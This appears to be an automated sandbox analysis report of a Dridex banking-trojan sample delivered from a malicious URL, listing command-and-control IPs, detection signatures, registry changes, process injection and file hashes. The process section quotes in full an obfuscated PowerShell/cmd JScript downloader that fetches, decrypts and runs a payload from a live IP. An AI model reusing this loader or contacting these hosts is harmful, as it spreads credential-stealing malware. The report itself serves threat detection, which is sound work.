dridex | hxxp://zeroexit[.]xyz/9HJDckdsvfsdefvs34

General

Target

http://zeroexit.xyz/9HJDckdsvfsdefvs34

Score

10^/10

dridex 10111 botnet cryptone discovery evasion loader packer ransomware trojan

Malware Config

Extracted

Family

dridex

Botnet

10111

C2

97.107.127.227:443

87.106.18.216:5037

185.184.25.235:5037

rc4.plain

Signatures

Dridex
Dridex(known as Bugat/Cridex) is a form of malware that specializes in stealing bank credentials.
botnet dridex
Suspicious use of NtCreateProcessExOtherParentProcess 1 IoCs

Processes:

WerFault.exe

description pid process target process

PID 1476 created 3976 1476 WerFault.exe IEXPLORE.EXE

description	pid	process	target process
PID 1476 created 3976	1476	WerFault.exe	IEXPLORE.EXE

CryptOne packer 2 IoCs

Detects CryptOne packer defined in NCC blogpost.

cryptone packer

Processes:

resource	yara_rule
C:\Users\Admin\AppData\Local\Temp\un8eg.exe	cryptone
C:\Users\Admin\AppData\Local\Temp\un8eg.exe	cryptone

Dridex Loader 2 IoCs

Detects Dridex both x86 and x64 loader in memory.

botnet loader

Processes:

resource	yara_rule
behavioral1/memory/3952-29-0x0000000000400000-0x000000000043D000-memory.dmp	dridex_ldr
behavioral1/memory/3952-31-0x0000000000400000-0x000000000043D000-memory.dmp	dridex_ldr

Blocklisted process makes network request 1 IoCs

Processes:

wscript.exe

flow pid process

16 2120 wscript.exe
Executes dropped EXE 1 IoCs

Processes:

un8eg.exe

pid process

3952 un8eg.exe
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012
Checks whether UAC is enabled 1 TTPs 1 IoCs
evasion trojan

System Information Discovery
T1082

Processes:

un8eg.exe

description ioc process

Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA un8eg.exe
Program crash 1 IoCs

Processes:

WerFault.exe

pid pid_target process target process

1476 3976 WerFault.exe IEXPLORE.EXE
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
ransomware

System Information Discovery
T1082

flow	pid	process
16	2120	wscript.exe

pid	process
3952	un8eg.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	un8eg.exe

pid	pid_target	process	target process
1476	3976	WerFault.exe	IEXPLORE.EXE

Modifies Internet Explorer settings 1 TTPs 18 IoCs

adware spyware

Modify Registry

T1112

Processes:

iexplore.exeIEXPLORE.EXE

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\Software\Microsoft\Internet Explorer\VersionManager	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\Software\Microsoft\Internet Explorer\VersionManager\LastUpdateHighDateTime = "30864442"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\Software\Microsoft\Internet Explorer\VersionManager\LastCheckForUpdateLowDateTime = "2566608360"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\Software\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\Software\Microsoft\Internet Explorer\Main\FullScreen = "no"	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\Software\Microsoft\Internet Explorer\Main\Window_Placement = 2c0000000200000003000000ffffffffffffffffffffffffffffffff2400000024000000aa04000089020000	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\Software\Microsoft\Internet Explorer\VersionManager\LastUpdateLowDateTime = "2566608360"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\Software\Microsoft\Internet Explorer\VersionManager\LastTTLHighDateTime = "50"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\Software\Microsoft\Internet Explorer\Main	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive\{C467FB4C-602D-11EB-BEBD-5EE6A97A695A} = "0"	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\Software\Microsoft\Internet Explorer\VersionManager\LastTTLLowDateTime = "1251635200"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\Software\Microsoft\Internet Explorer\VersionManager\LastCheckForUpdateHighDateTime = "30864442"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\Software\Microsoft\Internet Explorer\Main	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "0"	iexplore.exe

Suspicious behavior: EnumeratesProcesses 20 IoCs

Processes:

WerFault.exePowerShell.exe

pid	process
1476	WerFault.exe
1476	WerFault.exe
1476	WerFault.exe
1476	WerFault.exe
1476	WerFault.exe
1476	WerFault.exe
1476	WerFault.exe
1476	WerFault.exe
1476	WerFault.exe
1476	WerFault.exe
1476	WerFault.exe
1476	WerFault.exe
1476	WerFault.exe
1476	WerFault.exe
1476	WerFault.exe
1476	WerFault.exe
1476	WerFault.exe
2844	PowerShell.exe
2844	PowerShell.exe
2844	PowerShell.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

Processes:

WerFault.exePowerShell.exe

description	pid	process
Token: SeRestorePrivilege	1476	WerFault.exe
Token: SeBackupPrivilege	1476	WerFault.exe
Token: SeDebugPrivilege	1476	WerFault.exe
Token: SeDebugPrivilege	2844	PowerShell.exe

Suspicious use of FindShellTrayWindow 1 IoCs

Processes:

iexplore.exe

pid process

984 iexplore.exe
Suspicious use of SetWindowsHookEx 4 IoCs

Processes:

iexplore.exeIEXPLORE.EXE

pid process

984 iexplore.exe
984 iexplore.exe
3976 IEXPLORE.EXE
3976 IEXPLORE.EXE

pid	process
984	iexplore.exe

pid	process
984	iexplore.exe
984	iexplore.exe
3976	IEXPLORE.EXE
3976	IEXPLORE.EXE

Suspicious use of WriteProcessMemory 18 IoCs

Processes:

iexplore.exeIEXPLORE.EXEPowerShell.execmd.exewscript.execmd.exe

description	pid	process	target process
PID 984 wrote to memory of 3976	984	iexplore.exe	IEXPLORE.EXE
PID 984 wrote to memory of 3976	984	iexplore.exe	IEXPLORE.EXE
PID 984 wrote to memory of 3976	984	iexplore.exe	IEXPLORE.EXE
PID 3976 wrote to memory of 2844	3976	IEXPLORE.EXE	PowerShell.exe
PID 3976 wrote to memory of 2844	3976	IEXPLORE.EXE	PowerShell.exe
PID 3976 wrote to memory of 2844	3976	IEXPLORE.EXE	PowerShell.exe
PID 2844 wrote to memory of 2128	2844	PowerShell.exe	cmd.exe
PID 2844 wrote to memory of 2128	2844	PowerShell.exe	cmd.exe
PID 2844 wrote to memory of 2128	2844	PowerShell.exe	cmd.exe
PID 2128 wrote to memory of 2120	2128	cmd.exe	wscript.exe
PID 2128 wrote to memory of 2120	2128	cmd.exe	wscript.exe
PID 2128 wrote to memory of 2120	2128	cmd.exe	wscript.exe
PID 2120 wrote to memory of 2388	2120	wscript.exe	cmd.exe
PID 2120 wrote to memory of 2388	2120	wscript.exe	cmd.exe
PID 2120 wrote to memory of 2388	2120	wscript.exe	cmd.exe
PID 2388 wrote to memory of 3952	2388	cmd.exe	un8eg.exe
PID 2388 wrote to memory of 3952	2388	cmd.exe	un8eg.exe
PID 2388 wrote to memory of 3952	2388	cmd.exe	un8eg.exe

C:\Program Files\Internet Explorer\iexplore.exe
"C:\Program Files\Internet Explorer\iexplore.exe" http://zeroexit.xyz/9HJDckdsvfsdefvs34
1⤵
- Modifies Internet Explorer settings
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:984

C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
"C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:984 CREDAT:82945 /prefetch:2
2⤵
- Modifies Internet Explorer settings
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3976

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\PowerShell.exe
((((\..\PowerShell.exe -Command "<#AAAAAAAAAAAAAAAAAAAAAAAAA ((#>$a = ""Start-Process cmd.exe `"""cmd.exe /q /c cd /d "%tMp%" && echo function O(l){return Math.random().toString(36).slice(-5)};function V(k){var y=Q;y['set'+'Proxy'](n);y.open('GET',k(1),1);y.Option(n)=k(2);y.send();y/*XASX1ASXASS*/['Wait'+'ForResponse']();if(200==y.status)return _(y.responseText,k(n))};function _(k,e){for(var l=0,n,c=[],F=256-1,S=String,q=[],b=0;256^>b;b++)c[b]=b;for(b=0;256^>b;b++)l=l+c[b]+e['cha'+'rCodeAt'](b%e.length)^&F,n=c[b],c[b]=c[l],c[l]=n;for(var p=l=b=0;p^<k.length;p++)b=b+1^&F,l=l+c[b]^&F,n=c[b],c[b]=c[l],c[l]=n,q.push(S.fromCharCode(k.charCodeAt(p)^^c[c[b]+c[l]^&F]));return q.join('')};try{var u=WScript.Echo(),o='Object',A=Math,a=Function('b','return WScript.Create'+o+'(b)');P=(''+WScript).split(' ')[1],M='indexOf',q=a(P+'ing.FileSystem'+o),m=WScript.Arguments,e='WinHTTP',Z='cmd',Q=a('WinHttp.WinHttpRequest.5.1'),j=a('W'+P+'.Shell'),s=a('ADODB.Stream'),x=O(8)+'.',p='exe',n=0,K=WScript[P+'FullName'],E='.'+p;s.Type=2;s.Charset='iso-8859-1';s.Open();try{v=V(m)}catch(W){v=V(m)};d=v.charCodeAt(027+v[M]('PE\x00\x00'));s.WriteText(v);if(31^<d){var z=1;x+='dll'}else x+=p;s.savetofile(x,2);s.Close();z^&^&(x='regsvr'+32+E+' /s '+x);j.run(Z+E+' /c '+x,0)}catch(xXASXASSAA){};q.Deletefile(K);>3.tMp && stArt wsCripT //B //E:JScript 3.tMp cvbdfg http://45.138.24.35/?NDYyNzk1^&ZPhUs^&oa1n4=x33QdfWYaRuPCYjDM__dTaRBP0zYGViPxYqY^&s2ht4=mKrSCJqveDSj2bCIEBj38V7dSTvVgfdOKa1UbgC-iQeELgYOn8xeC1lE87eqzkKNzVaYsJSK_haJMwkU-5uWEbVt2wz2yLUWdJkklBKG6mNTy-4VUV4T5A4Wn_zIEqLBqUZzVEYxUlnKJp0hpUnBVyPuMmt3sfSzQzp2k-3M9cdwwZNt0R2v9w^&KxkENTY4OQ== "1"`"""""" ; Invoke-Command -ScriptBlock ([Scriptblock]::Create($a))"
3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2844

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\system32\cmd.exe" cmd.exe /q /c cd /d %tMp% && echo function O(l){return Math.random().toString(36).slice(-5)};function V(k){var y=Q;y['set'+'Proxy'](n);y.open('GET',k(1),1);y.Option(n)=k(2);y.send();y/*XASX1ASXASS*/['Wait'+'ForResponse']();if(200==y.status)return _(y.responseText,k(n))};function _(k,e){for(var l=0,n,c=[],F=256-1,S=String,q=[],b=0;256^>b;b++)c[b]=b;for(b=0;256^>b;b++)l=l+c[b]+e['cha'+'rCodeAt'](b%e.length)^&F,n=c[b],c[b]=c[l],c[l]=n;for(var p=l=b=0;p^<k.length;p++)b=b+1^&F,l=l+c[b]^&F,n=c[b],c[b]=c[l],c[l]=n,q.push(S.fromCharCode(k.charCodeAt(p)^^c[c[b]+c[l]^&F]));return q.join('')};try{var u=WScript.Echo(),o='Object',A=Math,a=Function('b','return WScript.Create'+o+'(b)');P=(''+WScript).split(' ')[1],M='indexOf',q=a(P+'ing.FileSystem'+o),m=WScript.Arguments,e='WinHTTP',Z='cmd',Q=a('WinHttp.WinHttpRequest.5.1'),j=a('W'+P+'.Shell'),s=a('ADODB.Stream'),x=O(8)+'.',p='exe',n=0,K=WScript[P+'FullName'],E='.'+p;s.Type=2;s.Charset='iso-8859-1';s.Open();try{v=V(m)}catch(W){v=V(m)};d=v.charCodeAt(027+v[M]('PE\x00\x00'));s.WriteText(v);if(31^<d){var z=1;x+='dll'}else x+=p;s.savetofile(x,2);s.Close();z^&^&(x='regsvr'+32+E+' /s '+x);j.run(Z+E+' /c '+x,0)}catch(xXASXASSAA){};q.Deletefile(K);>3.tMp && stArt wsCripT //B //E:JScript 3.tMp cvbdfg http://45.138.24.35/?NDYyNzk1^&ZPhUs^&oa1n4=x33QdfWYaRuPCYjDM__dTaRBP0zYGViPxYqY^&s2ht4=mKrSCJqveDSj2bCIEBj38V7dSTvVgfdOKa1UbgC-iQeELgYOn8xeC1lE87eqzkKNzVaYsJSK_haJMwkU-5uWEbVt2wz2yLUWdJkklBKG6mNTy-4VUV4T5A4Wn_zIEqLBqUZzVEYxUlnKJp0hpUnBVyPuMmt3sfSzQzp2k-3M9cdwwZNt0R2v9w^&KxkENTY4OQ== 1
4⤵
- Suspicious use of WriteProcessMemory
PID:2128

C:\Windows\SysWOW64\wscript.exe
wsCripT //B //E:JScript 3.tMp cvbdfg http://45.138.24.35/?NDYyNzk1&ZPhUs&oa1n4=x33QdfWYaRuPCYjDM__dTaRBP0zYGViPxYqY&s2ht4=mKrSCJqveDSj2bCIEBj38V7dSTvVgfdOKa1UbgC-iQeELgYOn8xeC1lE87eqzkKNzVaYsJSK_haJMwkU-5uWEbVt2wz2yLUWdJkklBKG6mNTy-4VUV4T5A4Wn_zIEqLBqUZzVEYxUlnKJp0hpUnBVyPuMmt3sfSzQzp2k-3M9cdwwZNt0R2v9w&KxkENTY4OQ== 1
5⤵
- Blocklisted process makes network request
- Suspicious use of WriteProcessMemory
PID:2120

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /c un8eg.exe
6⤵
- Suspicious use of WriteProcessMemory
PID:2388

C:\Users\Admin\AppData\Local\Temp\un8eg.exe
un8eg.exe
7⤵
- Executes dropped EXE
- Checks whether UAC is enabled
PID:3952

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 3976 -s 2360
3⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
- Program crash
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1476

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\3.tMp
MD5
88acae3e364010e82fb022c29ab69c9d

SHA1
043f08caaf36d317c60977dd9bdaa2be62ed54a0

SHA256
f14c7ba0240be3456164dd63f53dd4bc7eb34bcdb1ac26e98a623edc0390b56b

SHA512
38283522ffc8d6026c6298b3405f4274c833f3bf36d96648c0030d3aacea1a61553cea20ec0307ab6711e77ca5aadb4a7db308ed942434d5c8cf0733a3a4b27c

Download Submit
C:\Users\Admin\AppData\Local\Temp\un8eg.exe
MD5
c3861f32a1d5600e9028b960d9eadec2

SHA1
4aa2dd3ea203228f91d9113f000189625985a947

SHA256
d7818a25e726a620b2cea3bda8c37186d98b1b7174685bf28e723b84473e92c4

SHA512
93103fd4c7b4fcd06ceeb9be263ba1704da29a26df8bc787f76ca6fe6caf7b8d8ca337752d153e7c6678e5672aafdccfd4374711a87eea1bb066f327ab0e6ab6

Download Submit
C:\Users\Admin\AppData\Local\Temp\un8eg.exe
MD5
c3861f32a1d5600e9028b960d9eadec2

SHA1
4aa2dd3ea203228f91d9113f000189625985a947

SHA256
d7818a25e726a620b2cea3bda8c37186d98b1b7174685bf28e723b84473e92c4

SHA512
93103fd4c7b4fcd06ceeb9be263ba1704da29a26df8bc787f76ca6fe6caf7b8d8ca337752d153e7c6678e5672aafdccfd4374711a87eea1bb066f327ab0e6ab6

Download Submit
memory/1476-4-0x0000000004A10000-0x0000000004A11000-memory.dmp

Filesize
4KB

Download
memory/2120-22-0x0000000000000000-mapping.dmp

Download
memory/2128-21-0x0000000000000000-mapping.dmp

Download
memory/2388-25-0x0000000000000000-mapping.dmp

Download
memory/2844-9-0x0000000006A12000-0x0000000006A13000-memory.dmp

Filesize
4KB

Download
memory/2844-20-0x0000000009190000-0x0000000009191000-memory.dmp

Filesize
4KB

Download
memory/2844-11-0x0000000006F30000-0x0000000006F31000-memory.dmp

Filesize
4KB

Download
memory/2844-12-0x0000000006D50000-0x0000000006D51000-memory.dmp

Filesize
4KB

Download
memory/2844-13-0x0000000007680000-0x0000000007681000-memory.dmp

Filesize
4KB

Download
memory/2844-14-0x0000000006CE0000-0x0000000006CE1000-memory.dmp

Filesize
4KB

Download
memory/2844-15-0x0000000006D00000-0x0000000006D01000-memory.dmp

Filesize
4KB

Download
memory/2844-16-0x0000000007C70000-0x0000000007C71000-memory.dmp

Filesize
4KB

Download
memory/2844-17-0x0000000008BC0000-0x0000000008BC1000-memory.dmp

Filesize
4KB

Download
memory/2844-18-0x0000000008B50000-0x0000000008B51000-memory.dmp

Filesize
4KB

Download
memory/2844-19-0x0000000008C60000-0x0000000008C61000-memory.dmp

Filesize
4KB

Download
memory/2844-10-0x0000000001070000-0x0000000001071000-memory.dmp

Filesize
4KB

Download
memory/2844-3-0x0000000000000000-mapping.dmp

Download
memory/2844-8-0x0000000006A10000-0x0000000006A11000-memory.dmp

Filesize
4KB

Download
memory/2844-7-0x0000000007050000-0x0000000007051000-memory.dmp

Filesize
4KB

Download
memory/2844-24-0x0000000006A13000-0x0000000006A14000-memory.dmp

Filesize
4KB

Download
memory/2844-6-0x00000000069B0000-0x00000000069B1000-memory.dmp

Filesize
4KB

Download
memory/2844-5-0x000000006E770000-0x000000006EE5E000-memory.dmp

Filesize
6.9MB

Download
memory/3952-26-0x0000000000000000-mapping.dmp

Download
memory/3952-29-0x0000000000400000-0x000000000043D000-memory.dmp

Filesize
244KB

Download
memory/3952-30-0x0000000002060000-0x000000000209C000-memory.dmp

Filesize
240KB

Download
memory/3952-31-0x0000000000400000-0x000000000043D000-memory.dmp

Filesize
244KB

Download
memory/3976-2-0x0000000000000000-mapping.dmp

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

Replay Monitor

Loading Replay Monitor...

Downloads